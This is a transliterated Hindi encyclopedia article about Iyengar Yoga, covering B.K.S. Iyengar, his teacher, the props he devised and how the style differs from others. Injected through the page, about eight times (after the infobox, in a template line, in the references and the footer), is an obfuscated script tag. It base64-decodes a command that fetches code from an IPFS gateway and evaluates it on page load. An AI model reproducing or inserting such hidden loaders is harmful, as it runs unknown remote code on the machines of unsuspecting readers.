आयंगर योग
ayangar yog
| |
| vivaran | 'ayangar yog' bharat ke prasiddh yog guru bi. ke. es. ayangar dvara avishkrit yog ka hi ek prakar hai. kee anusandhanoan ke bad is yog ke tarikoan ka avishkar kiya tha. |
| namakaran | bi. ke. es. ayangar dvara avishkrit tatha lokapriyata ke karan hi is yog ka nam 'ayangar yog' p d gaya. |
| vishesh | ayangar yog ke asan aur pranayam ka abhyas karane ke lie usaki mudraoan tatha avasthaoan par dhyan dena sabase avashyak hota hai. |
| sanbandhit lekh | yog, yog ka itihas, bi. ke. es. ayangar, baba ramadev |
| any janakari | yog guru bi. ke. es. ayangar ne asanoan ko sahi tarah se karane ke lie kuchh sahayak chijoan ka avishkar kiya tha, jaise- bl aauk, belt, rassi aur lak di ki bani chijean adi. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ayangar yog (aangrezi: Iyengar Yoga)ki srishti prasiddh bharatiy yogachary bi. ke. es. ayangar dvara ki gee thi. bi. ke. es. ayangar ne kee anusandhanoan ke bad is yog ke tarikoan ka avishkar kiya tha. yog abhyas ath pahaluoan (ashtaang yog) par adharit hote haian. bi. ke. es. ayangar dvara avishkrit tatha lokapriyata ke karan hi is yog ka nam 'ayangar yog' p d gaya.
yogachary bi. ke. es. ayangar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bi. ke. es. ayangar ne 'ayangar yog' ki srishti ki thi. unhoanne yog ki pahali shiksha apane guru tiroomalaee krishnaamachary se li thi, jo saubhagyavash unake rishtedar bhi the. yog ki shiksha ke bad unhean yog itana priy ho gaya ki ve is jnan ko apane tak simit n rakh kar sab mean baant dena chahate the. is ichchha ko poora karane ke lie unhoanne landan, svitjaralaiand, peris aur kee deshoan ki yatra ki aur yog ka prachar kiya.[1]
kya hai 'ayangar yog'
ayangar yog ki srishti svargiy yog guru bi. ke. es. ayangar ne ki thi. unhoanne kee anusandhanoan ke bad is yog ke tarikoan ka avishkar kiya tha. yog abhyas ath pahaluoan (ashtaang yog) par adharit hote haian. lokapriyata ke karan is yog ka nam ayangar yog p d gaya. ayangar yog ke asan aur pranayam ka abhyas karane ke lie usake mudra/avastha par dhyan dena sabase zaroori hota hai. yog guru bi. ke. es. ayangar ne asanoan ko sahi tarah se karane ke lie kuchh sahayak chijoan ka avishkar kiya tha, jaise- bl aauk, belt, rassi aur lak di ki bani chijean adi. yog ko sahi mudra mean karane ke lie vyakti ke sharir ka sanrachanatmak dhaancha sahi roop mean hona zaroori hota hai. unaka manana tha ki agar asan ko sahi tarah se kiya jay to sharir aur man ko niyantran mean rakha ja sakata hai, jisase sharir svasth to rahata hi hai, sath hi bimariyoan se l dane ki kshamata sharir mean badh jati hai.
any yogoan se vibhinnata
ayangar yog mean 200 yog asan aur 14 pranayam haian, jo kramanusar saral se jatilatar hote jate haian. ayangar yog mean doosare yog ke sapeksh nimn vibhinnataean paee jati haian-
asan ke jatil tarike - doosare yog ki tulana mean ayangar yog ko karane ke lie zyada kushalata ki zaroorat hoti hai. in asanoan ko karane ke lie sharir mean jyada lachilepan aur tananduroosti ki zaroorat hoti hai.
asan ki lanbi avadhi - doosare asanoan ki tulana mean in asanoan ko der tak karane par hi sharir ko poori tarah se isase labh mil sakata hai.
pranayam ki tulana - doosare yog mean asanoan ka abhyas shuroo karate hi vyakti pranayam bhi karane lagate haian, lekin ayangar yog mean yah sanbhav nahian hai. jab tak vyakti asanoan ki paddhatiyoan ko achchhi tarah se sikh n le, tab tak vah pranayam ko nahian kar sakata hai; kyoanki pranayam karane ke lie man aur saansoan par niyantran hone ke sath der tak baithane ki bhi zaroorat hoti hai.
sahayak chijoan ka avishkar - yog ko sahi tarike se karane ke lie bi. ke. es. ayangar ne kuchh sahayak chijoan, jaise- bl aauk, belt, rassi, lak di ki kuchh chijoan ko banaya tha, jo ayangar yog ko doosare yog se alag karata hai. ayangar yog mean sahi tarah se asanoan ko karane par jor diya jata hai, jisase sharir ko har aang ko isase labh mil sake.
asanoan ka nirdisht kram - yog ke alag-alag prakar ke asanoan ka kram bhi alag-alag hi hota hai. har asan ke kram ka sharir ke aang ke sath sanbandh hota hai, isalie asanoan ko nirdisht kram se hi karana zaroori hota hai, nahian to sharir par isaka bura prabhav p data hai.[1]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 bi.ke.es. ayangar aur unaka ayangar yog (hiandi) thehealthsite.com. abhigaman tithi: 28 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>